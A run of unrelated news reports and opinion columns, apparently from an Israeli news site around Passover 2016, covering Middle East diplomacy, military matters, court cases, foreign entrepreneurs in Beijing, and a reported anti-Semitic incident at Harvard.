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Nevertheless, we cooperated with him, and the big "surprise" that we got from the Saudis during their "historic" visit to Egypt was met with silence from Israel. We could have easily protested this transfer of the islands of Tiran and Sanafir at the mouth of the Gulf of Eilat.

Yet the Saudis aren't beholden to Israel. Their country is going through a volatile period due to Iranian subversion on the one hand, and ISIS terrorism on the other, all while the competition in the global gas market due to the Iranian nuclear deal is just beginning to ramp up.

If the monarchy can take these hits, what happened behind the scenes with Israel can be overcome just as quickly.

The islands of Tiran and Sanafir (Photo: AFP)

It is becoming clear that the project to build the politicalsecurityeconomic bridge between Saudi Arabia and Egypt will be built with mutual cooperation. In Israel, we knew in advance what would happen and when: Saudi Arabia sent a message, and Israel sent a response. Defense Minister Moshe Ya'alon revealed that Israel made sure that the area would remain secure.

It isn't only King Salman who is making this promise, but also Crown Prince Hamed bin Nayef, and Deputy Crown Prince Prince Mohammad, the son of the current king.

This isn't a love story. Saudi Foreign Minister Adel Jubeir concluded the secret conduct with stark headlines: Saudi Arabia will be beholden to the IsraelEgypt peace treaty, and Saudi Arabia has no intentions of starting a war against Israel or to put armed forces on Tiran and Sanafirovertures to secret coordination with Israel. However, in the same breath, he said that Saudi Arabia has doesn't intend to sign any peace treaty with Israel.

Saudi Pragmatism The Saudi's aren't yet Zionists Eitan Goldstein and Roi Kais While there appears to be some communication between Israel and the Saudi regime on matters of security, this doesn't necesarily mean a new relationship is forming between the former foes. It is more likely another example of Saudi Arabia's pragmatic policies in light of the Arab Spring. The Saudi's aren't yet Zionists

These mutual interests between Israel, Egypt, Jordan, and Saudi Arabia form a front against the Iranians. Saudi Arabia and Israel see eye to eye regarding the Iranian threat and also regarding the potential dangers which Iranian puppets such as Hamas and Hezbollah present.

And yet, in the eyes of the Israelis, Saudi Arabia is seen as a fat and sluggish sheikh which is stretched out on an oil well, and which pays others to do his work for him.

The tentacles of the Saudi octopus and their suitcases full of dollars can be seen everywhere from Cairo to Jordan, from Morocco to Turkey, and anyone else who decides to join the Sunni camp.

Look at the pace with which the Saudis workin four days the Saudis "bought" two islands in the red sea, the deputy crown prince landed in Jordan, and immediately after, the Jordanians shut down the Muslim Brotherhood offices in that country. Salman went to Istanbul and tried to help the reconciliation between Erdogan and Sisi. It hasn't succeeded, but the king is patient and Erdogan has problems. And we've come full circlethat which Sisi is asking of Erdogan is exactly what the Turks want from Israel.

The most important thing in Saudi eyes is to stabilize Sisi in Egypt. The next objective will be for Saudi Arabia to create some sort of reconciliation between Hamas and Fatah. If it succeeds, they will come to the Israelis with an Arab peace initiative to hear what Israel will suggest. If Israel stumbles, anything can happen in the Red Sea.
American astronaut Jeffrey Williams has captured a stunning photo of Israel and its neighbors from space.

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Every time we pass over, I have been fascinated with this view considering it contains the vast majority of Biblical history. My fathera high school history teachergave me a love and appreciation for history, and I have a special appreciation for that history, Williams wrote on his Facebook account , where he posts regular snaps of Planet Earth from up above.

Israel from space (Photo: Jeffrey Willaims/NASA)

Williams, 58, a grandfather of three, arrived at the international space station a month ago and much like Scott Kellywho recently returned home after an almost a year-long stay in spacesupplies the residents of Earth with breathtaking pictures of our world.

This is the third time Williams has gone up to the international space station and has now broken the record for an American sojourn in space with 534 days, compared to Kellys 520 days, accumulated over two missions. Williams is expected to return to earth in September after half a year in space.
Prime Minister Benjamin Netanyahu's meeting with Russia's President Vladimir Putin on Thursday was held amid reporters that Russian fighter jets fired at Israel Air Force aircraft on at least two occasions, which were denied by Moscow.

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The issues was reportedly raised during Israeli President Reuven Rivlin's visit to Moscow, when Putin claimed this was the first he had heard of it.

Then a few days ago, a Russian fighter jet was scrambled to intercept an Israeli aircraft for an unknown reason. There was no contact made between the planes, and the Israeli plane carried on its way.

Netanyahu and Putin meet in Moscow (Photo: AFP)

Asked about the alleged incidents, however, Kremlin spokesman Dmitry Peskov said: "In this case, Israeli press reports are far from reality."

But Netanyahu, in remarks published by Israeli reporters whom he briefed by phone, said "there have been problems" regarding Israeli military freedom of operation in Syria.

He gave no details, but said: "If you don't deal with the friction, it could develop into something more serious."

"I came here with one main goal  to strengthen the security coordination between us so as to avoid mishaps, misunderstandings and unnecessary confrontations," Netanyahu said ahead of the three-hour meeting with Putin, which focused on the situation in Syria and particularly on its border with Israel.

Putin told Netanyahu that he was happy the two countries were having regular contacts at the highest ranks, and noted the security cooperation between Moscow and Jerusalem was necessary because of the complex situation in the region.

"During the meeting, it was agreed that GOC Air Force Maj.-Gen. Amir Eshel and my Military Secretary, Brig.-Gen. Eliezer Toledano, will hold a special meeting with the Russian Defense Minister and several other generals. They will meet and discuss  in a detailed and efficient manner  the coordination between our militaries and several other issues that have recently arisen," he said following the meeting.

Netanyahu in Moscow with Air Force Commander Amir Eshel.

"I think that this is vital because we must maintain freedom of action for the IDF and the air force in places that are important to us vis-a-vis our security, and I think that this was achieved," the prime minister added.

Netanyahu also raised the issue of Israel's northern border with Syria and the Golan Heights, stressing that "we will not go back to the days when they fired at our communities and at our children from atop the Heights. Therefore, with or without an agreement, the Golan Heights will remain under Israeli sovereignty."

The prime minister went on to describe Israel's red lines regarding the Golan. "First, we are working to the best of our ability to prevent the transfer of advanced weaponry from Iran and Syria to Hezbollah in Lebanon. Second, we are working to prevent the establishment of an additional terror front against us on the Golan Heights. These are red lines and we will continue to maintain them," Netanyahu told Putin ahead of the meeting.

Netanyahu and Putin meet in Moscow (Photo: EPA)

The two leaders also discussed the issue of pensions for Russian immigrants to Israel, which Netanyahu described as "a very painful and important issue for tens of thousands of Israelis who have no pensions."

"We agreed that this issue will be finally signed during my visit here to Moscow on June 7, when we mark 25 years of relations between our two countries," Netanyahu said.
A Turkish M60T tank with Israeli upgrades survived an attack by an advanced anti-tank guided missile (ATGM) shot by ISIS, defense magazine Jane's reported Thursday.

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While the tank itself is US made, the upgrades were made by Israel and sold to Turkey 10 years ago. The attack happened near the town of Ba'ashiqa, which is 30 kilometers northeast of Mosul in Iraq.

The ATGM was a Russian made 129K9 and was shot at the Turkish tank on Tuesday last week from a hill close to where the tank was stationed. The tank was hit by the missile, but neither blew up nor suffered significant damage thanks to the Israeli defense system that it was outfitted with. Jane's tweeted a picture of ISIS shooting the ATGM at the tank and also had pictures of the aftermath of the event.

Turkish Tank which was hit by ISIS anti-tank missile. The tank and crew survived thanks to Israeli upgrades

A Turkish military official quoted by the Andalou news agency said that the tank that was hit sustained minimal damage and that none of the crew were injured. He also said that Turkish forces immediately returned fire and killed 32 ISIS fighters.



In the picture of the tank, which was circulated by the Turkish military, it seems that although there was some damage to the front of the tank, it is nothing significant.

The tank received an Israeli upgrade of advanced hi-tech 120mm armor plating alongside an advanced fire control system and a more powerful engine and transmission system, amongst other upgrades.

ISIS firing the ATGM at the Turkish tank

These upgrades were done within the framework of a 2002 deal between Israel and Turkey amounting to $687.5 million, through which 170 tanks were upgraded, and Israel also provided the Turkish military industry with information regarding the production of tank systems.

According to the Israel Military Industries (IMI), the creator of the systems, the project to upgrade the Turkish tanks ended successfully in 2010, right before the Mavi Marmara incident that strained Israel-Turkey relations occurred.

The presence of Turkish forces in Ba'ashiqa and in other locations in Iraq was revealed five months ago, and Baghdad has called on the Turks to withdraw all of their forces from Iraqi territory. The Turks ignored the demand, and announced that the base in Ba'ashiqa was established to train militias to drive out ISIS from Mosul.
Laowai in Beijing by Ge Mengchao, Viktoria Fricova and Wang Peinan.

Han Bo also contributed to this story.

*Laowai is an informal term for a foreigner in Chinese. Derived from lao (old, respectful way of addressing people) and wai (foreign, outside),it is widely used to refer to "Westerners" in China.

China ranked third best destination for expats in the latest study by HSBC Group in October 2014. The number of foreigners who choose to experience life in China has been increasing steadily for the last 16 years.

Foreign people are attracted by various opportunities the world's second biggest economy offers. Overseas students and foreigners with a vision of absolutely new adventures come here to learn the language, discover the culture and observe business insides. No wonder many choose to extend their stay.

Rather than searching for a regular job, more and more laowai decide to go after their dreams and start their own businesses. Last month, a new government policy implemented in Beijing echoed their dire needs.

This policy, issued by Ministry of Public Security, aims to attract more foreign talented personnel to work in Beijing, including 20 articles concerning to reform of visa, exit-entry policy and temporary and permanent permit.

Chinas central government now is eager to broaden policy, to streamline administration and to improve service as well, which demonstrate its warm welcome to foreign start-upers. In recent days, we interviewed three foreign start-upers and present their entrepreneurial stories for you to have a look at their joys and sorrows in China. What difficulties start-upers face in China? Is Chinese language a necessity? What does one gain from running a business in a Chinese market?

Smantha Kwok, Australian Chinese, is the CEO and founder of Jingjobs.

Samantha Kwok: I have nothing to lose

Ambitious, confident and passionate.

After only few minutes' talk with CEO and founder of Jingjobs, it is clear that this young lady knows exactly what she wants to achieve.

Chinese born Australian, Samantha Kwok, started her business in 2012.

Website that 'offers tailor-made HR solutions' has now received more than 20,000 hits a month. It is a platform where start-ups and talented job seekers can match their needs.

Before starting a business, Samantha once worked at Morgen-Stanley as an intern. Having the same daily routine of preparing reports or attending endless meetings didn't seem to be her cup of tea. She could not see any relation between 'what you have done and actual results'.

With the willingness to learn Mandarin, the young graduate came to Beijing and did four months language course. Samantha felt that this city may have some more adventures prepared for her so decided to get a job. This was when she found herself lost in the sea of opportunities.

"It is hard to find what you actually want." Samantha said, "I have always wanted to be an entrepreneur and work with people who are building something from ground up."

Her initial position of a "job-seeker" has been replaced by a "start-up seeker". Visiting tech events and job fairs has become a necessity to get to know small businesses that desperately need young talents.

So she made up her mind to create a website which connects talented bilingual people and medium-to-small start-ups. "My core vision is to create a community where people can get free resources and be able to help each other." Samantha said.

But that means Jingjobs.com doesn't have a revenue stream, and Kwok is not taking a salary from it.

"Ultimately in the long run, I would aim to be profitable otherwise it will not be sustainable," she said.

So one year ago, she created Hrbutler.com, a human resources consulting business for start ups and small-to-medium enterprises that need recruiting workers. It is just different branch of Jingjobs.com but became profitable within four months.

This time, Kwok targeted at the tedious registered procedures and potential difficulties a small business may face at the very beginning.

Last year in November, a special service center has been launched at Zhongguancun high-tech hub in Beijing as Chinas government pledges to attract more overseas talents like Kwok.

The center will offer visa, residential permit and permanent residence services to foreigners who start businesses or are employed in the Zhongguancun National Demonstration Zone.

Wang Xi, deputy head of Beijing Public Security Bureau's Exit-Entry Department, said to China Daily that the center would serve as a pilot program. Experience gained from the program would help to promote similar services throughout the city, or even nationwide.

"Restrictions have been relaxed to enable more foreign talent to come here to start new businesses," he said.

So did Kwok strive for this. By helping new start-up owners to set up their businesses through Hrbutler.com and then posting their needs for new talents on Jingjobs.com, Kwok has built complete platforms both for employers and job seekers. Most of the revenues and talents' needs constantly come from Hrbutler.com; thus, Jingjobs.com is not only fully funded but can get abundant information and attention.

"Not only did they deliver above our expectations but it was a real pleasure to deal with Jingjobs as they quickly understood our needs," said Jerome Scola, Co-founder of DayDayUp Co-working Space.

Moreover, eight months ago, Kwok received a RMB 100,000(US$15,400) grant from the Chaoyang District government in Beijing. She said she will use all the money to improve the platforms she has built, for example, to make them multi-language and more efficient.

"The grant is great because it is provided by Chinese government and specifically for foreign entrepreneurs or graduates who studied overseas. It is really helpful," Kwok said.

What she received is called phoenix grant. It aims to promote foreigners and Chinese graduates who pursued their study abroad to set up their own business at Chaoyang District with numerous incentives and subsidies.

Start-up is a hot topic in China and there are many other options Samantha keeps in mind for the future. Alibaba supports young entrepreneurs with its fund, and there are also accelerators' programs investing in promising ideas such as f6s.com, chinaccelerator, 36kr.com,etc.

"I try to get people take me seriously at the age of 21. It is quite hard," Kwok said, "But starting up a company definitely is a process that I learn quite quickly like how to convince people to take me seriously and to not let my age, gender and nationality be a restriction."

Starting business in China definitely is an unforgettable experience for Kwok. "In these two years, I have been learning so much," she said, "I didn't just do marketing, tech, development. Everything you can think of, I have to try and do it even if I don't know how to do it."

She is also happy that she didn't stay at Morgan Stanley for three more months to get a job offer. "That (entrepreneurship in China) taught me so much more than if I just choose an entry level job somewhere about something I am not really passionate about," she said.

Kwok encourages young people to make bold trials at this age. "I think for young entrepreneurs it is easier to take risks right now when you don't have a family, a husband or a child, Kwok said, I have nothing to lose. It is not ok to just have a good salary anymore."

Glenn Schuitman, from New Zealand, is the owner of Pop up Beijing.

New Zealander pops up in Beijing

Surrounded by bottles of wine and whisky on the shelves, delicate traditional Chinese ceramics, exquisite furniture imported from Antwerp, Belgium, and gilded luxurious ceiling lamps overhead, Glenn Schuitman accepted our interview at Pop up Beijing, his home store in Sanlitun, an area of the Chaoyang District, Beijing containing many popular bar streets and international stores.

Glenn comes from New Zealand. He is half Dutch, sort of mixed New Zealander. When moving to China, he worked in management consulting as an international business strategist. Yet he never really abandoned his passion for design. Coming to Beijing gave him an incentive to change the course of his life.

"I was somehow touched by Beijing as city. I enjoyed the energy here." Glenn said to us.

As first, Glenn came to China simply to explore the country as a tourist. But it only took him five months to determine to stay. He extended a visa and was offered a contract. The idea of creating a life in China started rising.

"Time flew very quickly and here I am today." he said.

Glenn found a way to get back to interior design, his life-long passion. He quickly understood that China gives you chances to explore new careers, to start new paths of life, which do not exist in every other country. What you should do is to target, to strategize and to grab the opportunity.

The store Glenn welcomed us warmly is an extension of his interior architecture studio run together with his Chinese partner Vito Zhang, architect and structure engineer. They have been running the business for 4 years now.

The cooperation and friendship started just next door in the same building when Glenn was invited to help with a project. He personally contacted Vito when he heard about his newly opened studio.

"The moment I met him, there was some energy between us." Glenn said.

Having a local partner who is your great friend you can rely on is an amazing advantage to have. Finding Vito was the "greatest luck" for Glenn.

As Glenn jokes that store is a 'hungry animal, taking lots of energy and commitment', he admits that he tries to strike balance between the store and design. They expect to re-focus back to design in two years.

Starting a business comes with difficulties no matter where you are. Glenn sees his very basic 'taxi Chinese' as the biggest difficulty and a personal failing. He sets up a must-goal for the future to learn Mandarin.

"It is possible to do business in this country without speaking Chinese. But it is not ideal." Glenn laughed.

Being able to speak the language is not only crucial for communication with customers, but for creating friendships.

'Diverse population' is what Glenn sees a specific feature of a Chinese market. Many businesses do the same mistake, they try to have a broad focus, to bring a solution to everything.

Glenn advices to target on what you are best at. Chinas market is full of opportunities. Your task is to find what is missing and match the gap with your skills and abilities.

As a small business, Pop up Beijing cannot rely on big marketing campaigns. Most of the communication is done through various events organized in the space of the store; wine tasting, origami, private parties, etc. It brings customers in so they can see what is behind the huge store windows. Brand awareness is driven by a positive image spread by those who come and like it.

"Naturally, because we are in China, we will always push for Chinese consumers." Glenn said.

Yet the location in Sanlitun, 'ghetto for expats' as Glenn calls it, and rather western-oriented style of their products determine attention from foreigners.

Since the shop is still a baby, open not for more than a year and half, the future plan is to consolidate what they have achieved now.

"One of the greatest challenges is to know when to say no." Glenn said at last.

Moxi, from Isarael, runs a restaurant in Beijing called MoxiMoxi.

Israeli cuisine made with die-heart love of Beijing hutong

*Hutongs are a type of narrow streets or alleys, commonly associated with northern Chinese cities, especially in Beijing.

"Our story, of me and my partner, began three years ago. We arrived to China knowing not even one word in Chinese." said Moxi.

Israel has a mandatory military service for both males and females over the age of 18. Moxi and Igal finished the conscription at the age of 21. Seven years later, as Israeli airline company's staffs, they crossed the Chinese borders and started working as security employees.

They lived together for one year but as Igal says 'partnership can be in different ways, but living should be separate'. Now they are best friends, partners at work but with separate apartments.

Day of a security worker is boring and gives you lots of spare time. Moxi and Igal during free hours focused on broadening their knowledge. They studied Chinese language, culture and manners.

"The first time I arrived to Beijing, I was totally shocked." Actually, Moxi was shocked by the huge amount of people. People who do not understand you and you barely understand them. The adaptation to different culture took him quite a while.

The idea of creating Moximoxi was born in the very same hutong where the restaurant is located now.

In summer 2014, day like any other, the Israelis were sitting in Fangjia hutong at Was Park, their favorite place selling burgers. While they were chatting and enjoying the evening, one of their friends suggested 'why won't you open a restaurant with Israeli food, here in hutongs'.

Then a four-week round of trying and testing started. The aim was clear: to see how Beijing locals react to their food. There was one dish on the menu, pita bread called sabich (consisting of pretty simple ingredients: fried eggplant, boiled eggs, salad, tahini sauce and fried cauliflower). It holds a place on their menu till nowadays.

Tahini is a paste made from sesame seeds. Moximoxi imports it directly from Israel to maintain the most authentic taste.

They could sell around 100 pitas a day. The positive respond from locals encouraged them to think it over and finally opened their own restaurant.

The day we met Moxi for an interview, he was hosting a networking event in the bar next door called Cellar Door. Two places share the wall with a small window, through which Israeli dishes are being served to the neighboring bar's customers.

Food bar itself is in a very tiny room, small kitchen with two workers can fit in. In a summer though, the true atmosphere of Moximoxi comes to live and customers sitting outside at the terrace can enjoy snacks from both bars.

However, starting a business has two sides of a coin.

The only experience with a food industry Moxi had, was when at the age of 16 he used to prepare pitas back in Israel. Igal contributed with an education in business. Otherwise the guys started from a 'blank space'.

"To open a restaurant in China is extremely hard. All the certificates, licenses, things you have to handle. On the other hand, it is so easy. You have so many people to help you within the second in any moment."

In China, you can find anything you want. Anything can be ordered online, reached at a local market or bough in a warehouse with equipment 'that you can build hotel out of it', he said.

Moxi visited several Israeli restaurants in Nepal, India, Thailand. All the places would have long menus with dozens of dishes. But he did not intend to imitate them. Moximoxi currently offers four types of pita bread. There is no rush to add more. When the restaurant has time to develop the menu, new offers will be added.

Most of the plates are vegetarian, meat lovers can order one chicken dish.

The main idea behind the kitchen is to keep food as authentic as possible. "The falafel pita you would get here is the falafel pita you would get in Israel, Tel Aviv, Jerusalem."

Tahini, mango sauce, coffee, all these are imported from Israel and plates are prepared, according to Moxi grandma's recipe.

The business has been running for nearly a year. Moxi and Igal are still in a process of learning. They want to talk to customers, to establish relations. They go to the food markets, attend events, provide catering where the authentic taste of Israel can be spread outside their small food bar.

Moxi has learnt two lessons during the last half a year. Having a business requires a lot of work and devotion. Having an initial idea, location and budget is a necessity, and only after you have to combine it.

"Believe all the cliches you have heard. Believe in what you are doing. Believe in yourself. And just continue working." he told us, the second important thing is that 'you can't convince Chinese people to love your food.' Chinese tastes are strong and it takes time to "teach" them to experiment with the new ones.

(Ge Mengchao, Viktoria Fricova and Wang Peinan are graduate students from Tsinghua School of Journalism and Communication in Beijing.)
Four months after arriving from Germany , and shortly before it is declared operational and heads out for missions off the coasts of Africa or Iran, Ynet reporter Yoav Zitun joined the submariners for a sail in the INS Rahav - the Israeli navy's fifth submarine.

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It cost half a billion dollars and it is 68 meters long (10 meters longer than the existing Dolphin submarines), but the secret to its military might is the fact it can stay deep underwater for longer periods of time, 10 times, and at times even longer, than other submarines.

The stealth capabilities of the new submarine, and of its "sister" INS Tanin , allows them to be completely silent while underwater, thanks to their electric engines.

On board the INS Rahav (: ", :  )

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"The operational effectiveness is much higher," Col. D., the commander of the Submarine Flotilla, explained. "Tanin has already performed quite an extensive and diverse range of operational duty, and has performed better than usual. We've implemented the lessons learned from the Tanin's integration process, which lasted several months. This allowed us to make arrangements while still in Germany and with that shorten by half the process of making it operational."

Col. D. said the new submarine's bigger size compared to existing submarines provides "an advantage and is of considerable importance to the comfort of the submariner. It allows remaining more effective and fit for duty for longer periods of time during missions. Even the lighting in the new submarine is stronger and more economical than in the INS Dolphin."

Photo: IDF Spokesman

The colonel spoke of the cooperation between the Submarine Flotilla and the Army, and described an unusual cooperation in training areas in southern Israel.

"We come to Armored Corps exercises to see what we could offer the tank brigade commander, what are they missing. This personal acquaintance, which includes reciprocal visits by Army officers to the submarines, will help us work together better," he said.





Photo: IDF Spokesman

While the IDF prides itself on having more than 90 percent of the positions in the military open for women, including many combat roles in infantry, artillery, IAF fighter squadrons and the navy, Col. D. admits that women cannot serve in the submarine.

"As you walk from one end to the other on a submarine, you can't avoid physically touching one another, because of the crowdedness and small space," he said.

"There are some cultures, like in Denmark and Sweden, in which shared showers and sleeping quarters are part of the culture, so they don't have a problem," Col. D. continued. "There are other navies that built different submarines, significantly bigger, and included rooms, bathrooms, showers, and spaces for female fighters. This allows them to serve alongside the male fighters, while maintaining clear separation. For us, the submarines are small and I don't see how in our culture, in such a small space, this could happen. It's not that I have any doubt about women's abilities, I'm sure they can be as good as male submariners, but on the submarine it's impossible to avoid physical touch and that creates situations that, on the cultural level, are unacceptable in the IDF and in Israeli society. Perhaps it will be possible in the future, if they build submarines that are three times as large."
Sgt. Elor Azaria, an IDF soldier charged with manslaughter after shooting dead a neutralized Palestinian terrorist in Hebron, was released from detention on Friday morning.

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After 29 days under arrest, Azaria was allowed by the military court to celebrate the Seder, a ritual feast held on the eve of the Jewish holiday of Passover, at home with his family in Ramla.

Azaria's father and another relative arrived at the Nachshonim base near Rosh HaAyin to drive him home, where right wing activists were waiting for him with support signs.

Sgt. Elor Azaria's return home accompanied by celebrations (:  )

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Azaria's arrival home was accompanied by celebrations, with right wing activists carrying him on their shoulders.

After giving her son a long hug, his mother told him: "Welcome, my child. Welcome home."

Sgt. Elor Azaria carried on the shoulders of his supporters (Photo: Motti Kimchi)

His father had a message to the Israeli public, "Thank you to the people of Israel and to the court for allowing him to be at home for Passover. We want to be a normal family."





Sgt. Elor Azaria receiving a hug from his mother and sister (Photo: Motti Kimchi)

Azaria himself avoided making any comments to reporters who arrived at the family home.

The indictment filed against Azaria on Monday claims that "the soldier took several steps towards the terrorists, aimed at his head and fired a single bullet from short range. This the defendant did in contravention of the rules of engagement and without operational justification." He was also charged with inappropriate behavior.





Sgt. Elor Azaria smiles as he arrives home (Photo: Motti Kimchi)

However, in the same hearing, the military judge criticized the prosecution, and warned that the evidence was weak.

"The level of criminality of the defendant might be lower than what the prosecution attributes him," Judge Lt.-Col. Ronen Shor said.





A sign outside Sgt. Elor Azaria's home saying 'Azaria we're all with you' (Photo: Motti Kimchi)

Azaria enlisted in the army a year and eight months ago and became a combat soldier in the Shimshon Battalion of the Kfir Brigade. After successfully finishing a combat medics course, he began serving as a medic in his company.

Azaria has no criminal or disciplinary record. On the contrary, before the incident, he recently received a certificate of excellence for his service.

His father served in the police for 30 years. In recent years, the father has been doing volunteer work, helping soldiers to expunge their criminal record.

Investigators did not find any indication that Azaria supports or has been involved with radical right wing groups. However, in posts he made on Facebook before beginning his army service, he expressed support for the revenge of the kidnapping and murder of the three Israeli teenagers.





Sgt. Elor Azaria driven home from detention (Photo: Motti Kimchi)

On March 24, two terrorists armed with knives stabbed a soldier, moderately wounding him, at an IDF post near the Tel Rumeida neighborhood in Hebron.

The two were shot and neutralized by soldiers from the IDF's Kfir Brigade, and the wounded soldier's condition was later downgraded to light.

A video filmed several minutes later by B'Tselem volunteer Emad abu-Shamsiyah shows one of the terrorists, Abed al Fatah a-Sharif, lying on the ground motionless, when Azaria, who arrived at the scene of the attack several minutes later, aims his weapon at him and shoots him in the head.

An autopsy performed on a-Sharif found he was alive when he was shot, and died as a result of the shot to the head - not from the wounds he sustained before.
Former president Moshe Katsav, who is serving a seven-year sentence after being convicted of rape, left prison on Friday morning for a 72-hour furlough to celebrate Passover.

He was greeted outside Maasiyahu Prison by his wife Gila and brother Lior.

Earlier this month, the Parole Board rejected Katsav's request for early release, determining that he will serve out his term.
BEIRUT - Anti-government activists said on Friday that airstrikes in Syria's northern city of Aleppo have killed at least seven people in rebel-held areas.

The Britain-based Syrian Observatory for Human Rights said at least 10 people were killed in the airstrikes in Bustan al-Qasr neighborhood and other parts of the city.

Two activist-operated media outlets, the Syrian Revolution Network and Azaz Media center, say at least seven people were killed. The discrepancy couldn't immediately be reconciled but divergent death tolls are common soon after attacks.
PARIS - The French foreign minister has confirmed that Paris will host an international meeting on May 30 to try to restart peace efforts between Palestinians and Israel -- even though both sides will be absent.

Jean-Marc Ayrault said on Friday Arab nations will be among the 20 countries present, but "for the moment there is no dialogue" between Israel and the Palestinians.

Ayrault, speaking on Europe 1 radio, said new efforts are needed because "we are witnessing desperation, and desperation leads to violence."

France has pushed to play a larger role in Middle East peace efforts, dominated by the United States.

"I think we must unify our efforts," Ayrault said. Still, he added without elaboration his hope that "before the end of the month (President Barack) Obama will take an initiative."
Husam El-Qoulaq, an American student and head of the Students for Justice in Palestine (SJP) at Harvard criticized how Tzipi Livni smelled while she was giving a speech at Harvard Law School.

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The absurd transcript of what happened follows:

STUDENT : OK, my question is for Tzipi Livni, um, how is it that you are so smelly?

(panel looks confused)

STUDENT : Oh, its regarding your odor.

MODERATOR : Im not sure I understand the question.

STUDENT : Im question (sic) about the odor of Tzipi Livni, very smelly

The Harvard Jewish Law Students Association wrote a sharp condemnation of the Palestinian's remarks, saying that they evoked a classic anti-Semitic stereotype.

"We are writing to condemn what we view as blatantly anti-Semitic rhetoric," the article said, continuing "We demand a public apology to Ms. Livni, the Jewish students of HLS, and Harvard Law School at large. Further, we demand respectful behavior from students at our events in the future."

Harvard University

The letter then decried what it considered an anti-Semitic attack, saying, "Discussions about Israel cannot devolve into ad hominem attacks against Jews. A quick Internet search will show that the stereotype of 'the Jew' as 'smelly' or 'dirty' has been around since at least the 1800s. The Nazis promoted the idea that Jews 'smell' to propagandize Jews as an inferior people. The idea that Jews can be identified by a malodor is patently offensive and stereotypes Jews as an 'other' which incites further acts of discrimination. The fact that such a hate-filled and outdated stereotype reemerged at Harvard Law School is nothing short of revolting."

The incident was further decried by the president of the Middle East Law Students Association, Sahand Moarefy, in a statement on the Harvard Law Record: "I deplore any attack on individuals based on their race, religion, or cultural heritage."

After pressure, Husam apologized for his statements, claiming that he had no idea that accusing Jews of malodor was anti-Semetic and saying that he would never call someone a "smelly Jew."

Meanwhile, MK Tzipi Livni herself commented on the event, saying that she's happy with the results.

"A chain reaction has led to this remarkable result, whereby the University leadership was encouraged to release a public statement which denounces anti-Semitism and which prohibits these types of remarks."
PARIS - Brussels airport bomber Najim Laachraoui was one of the men who held four French journalists captive for months in Syria, the lawyer of two of the former hostages told Reuters on Friday.

Najim Laachraoui, a 25 year-old Belgian, was one of the two bombers who blew themselves up at Brussels' airport on March 22, investigators have said. Thirty-two people were killed in the attacks on the airport and a metro station.

"I can confirm that he was the jailer of my clients," Marie-Laure Ingouf, a lawyer for two French journalists freed in April 2014 after spending 10 months as hostages in Syria, told Reuters.

An engineering sciences student who dropped out of university, Laachraoui is believed to have had the technical training that could mean he was the armourer of the operation.

Le Parisien daily on Friday quoted intelligence sources as saying Laachraoui was in charge of interrogating the hostages and was less brutal to them than Mehdi Nemmouche, a Frenchman who in May 2014 killed four people in an attack on Brussels' Jewish Museum.

One of the four former French hostages, Nicolas Henin, had in September 2014 said that he recognized Nemmouche as one of his Syria jailers.
US President Barack Obama and UK Prime Minister David Cameron issued statements wishing Jews a happy Passover on Friday. The week-long festival begins on Friday night. Both leaders referred to the holiday by its Hebrew name, "pesach."

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The American head of state opened by directly addressing Jews in the US, Israel and elsewhere: "Michelle and I send our best wishes to everyone celebrating Pesach in the United States, in the State of Israel, and around the world. "

While the British head of government's message did not mention the prime minister's wife, it also began by bidding its readers a joyful holiday: "As you gather with your families for the start of Pesach, Im delighted to send my sincerest good wishes, and my hope that youll enjoy a happy and peaceful Passover."

Cameron's message continued by touching on the key, traditional messages of the holiday and commending the British Jewish community's contributions to the country: "Day in, day out, the Jewish community proves that youre a true British success story, excelling in every field and working constantly to build a fairer society for everyone."

Obama and Cameron in London (Photo: Reuters)

Obama's personal touch also spoke to his experience in hosting a seder, as he referenced several of the ritual foods eaten and a song sung. He ended the message bidding its reader a happy holiday in Hebrew: "From our family to yours, chag sameach."

Obama at a previous White House seder

Cameron also showed off his comfort in Hebrew blessings, adding that he bade Jews a kosher holiday: "Let me wish you and your family a Chag Kasher VSameach."

Obama is currently on a visit to the UK, where he has met with Queen Elizabeth II, wished her a happy 90th birthday, and has further met with Cameron.
1.

As the song goes , one day, a man gets up and feels that he is a people, and he starts walking. However, in this case, he has nowhere to go. Soon, the State of Israel will be completely closed in on all sides by fences and minefields. In this reality, the Israeli prime minister has no choice but to try to dismantle the old world and construct a new one. To transfer alliances from that world and establish new ones.

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From above, this seems to be what Netanyahu has been attempting to do recently: take the puzzle apart and try to assemble it anew according to his way and spirit. He has self confidence, and, in his opinion, he will succeed.

2. Radical, fundamentalist Islam

is wreaking havoc on large parts of the world (the Middle East, Western Europe, Africa) and is entrenched. The millions from the Middle East who have stepped foot on European soil will not move from there, and it's possible that millions more will follow them. It must be said that Europe is in the process of being occupation.

Benjamin Netanyahu (Photo: Reuters)





3. This terrified and helpless Europe

is calling for help, but the worldlike the three famous monkeysdoesn't see, doesn't hear, doesn't speak. There are those who turn to Jerusalem, not for prayer, but rather for advice and a remedy. But Jerusalem doesn't have a panacea, just a platitude: We told you so. Many want advice and help from us in counter-terrorism matters, but nobody in official Israel guarantees solutions, and hundreds of thousands are fighting over the few solutions that do exist in the market to sell them for a lot of money.

ISIS protest in Brussels (Photo: MCT)

4. The United States

is losing its standing as Empire no. 1 in the Middle East (and in the world) due to Obama's policies. Everyone feels like a flock without a shepherd. However, security relations between Israel and America are flourishing, and the weapons and intelligence that we receive are superb. We are in an interim period, and we'll apparently have to wait for the next president.

5. Egypt, Jordan and Saudi Arabia

are quaking with fear before the rising strength of radical Islam, and they see Israel as a pillar in the war against it. There are some in those countries who say, "If we don't have the American gorilla behind us, then we'll turn to the Israeli chimpanzee." The less said about this, the better.

6. Lebanon, Syria and Iraq

are falling apart, smashed and shaky. They want to get back to being organized countries, but they can't. Apparently, other countries will arise in their place in the future.

ISIS fighters (Photo: AP)

7. Africa

: A group of dozens of countries say that they have been neglected by successive Israeli governments. The objective of the next government and its prime minister is to convert those states; that is, to get them back to supporting Israel in light of their great fear of various terrorist organizations like Boko Haram and ISIS.

8. South America

: Ditto.

Iranian nuclear site

9. Iran

is still our most dangerous enemy. The Islamic Republic is fueling terrorist organizations, strengthening them and providing them with modern weapons. After the nuclear agreement expires, it's likely to get the bomb, and the western world, including Israel, is preparing for this horrible possibility. The saying from the psalm , "the guardian of Israel will neither slumber nor sleep," is even more correct than usual as regards Iran.

EU and Iranian leaders celebrating end of Iran sanctions (Photo: EPA)

10. The territories

: Netanyahu doesn't believe, apparently, in the possibility of living together in one, bi-national state. He may be willing to allow the establishment of a Palestinian state alongside the State of Israel, provided one condition that he doesn't intend to compromise on: security.

